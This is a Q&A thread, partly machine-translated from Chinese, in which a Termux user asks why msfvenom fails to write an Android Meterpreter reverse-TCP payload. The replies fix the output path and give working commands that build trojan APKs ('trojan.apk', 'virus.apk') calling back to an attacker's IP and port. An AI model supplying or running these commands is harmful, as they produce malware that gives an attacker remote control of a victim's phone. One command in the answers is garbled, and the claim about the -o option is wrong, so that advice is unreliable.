当我尝试制作有效载荷时,它向我展示

when i try to make payload it is showing me

当我在我的 termux 应用程序中使用此命令生成负载时

. /msfvenom -p android/meterpreter/reverse_tcp lhost=IP ADDRESS lport=3333 -o /sdcard/FILE NAME/test.apk

然后它给我看

No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9435 bytes
Error: Permission denied @ rb_sysopen - /sdcard/apk_payload/hack.apk

请问如何解决请帮帮我

首先,抱歉我的英语不好。

看来你的问题是路径,sdcard路径是~/storage 在里面,您只能访问一些文件夹,在我的例子中是 dcim、下载、电影、音乐、图片和共享

我决定把它放在 downloads 中,所以路径应该是这样的: ~/storage/downloads/trojan.apk

最终代码应该是这样的: ./msfvenom -p android/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -o ~[=34= .apk

首先,如果 msfvenom 在您的 usr/local/bin 文件夹中,则您不需要 ./msfvenom,只需从 msfvenom 开始。

其次 -o 选项在使用 -x 选项时使用,否则你不应该使用它。

你的命令应该是这样的

msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=your port R > /root/what-ever-path-you-want/app-name.apk

示例:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 R > /root/Documents/virus.apk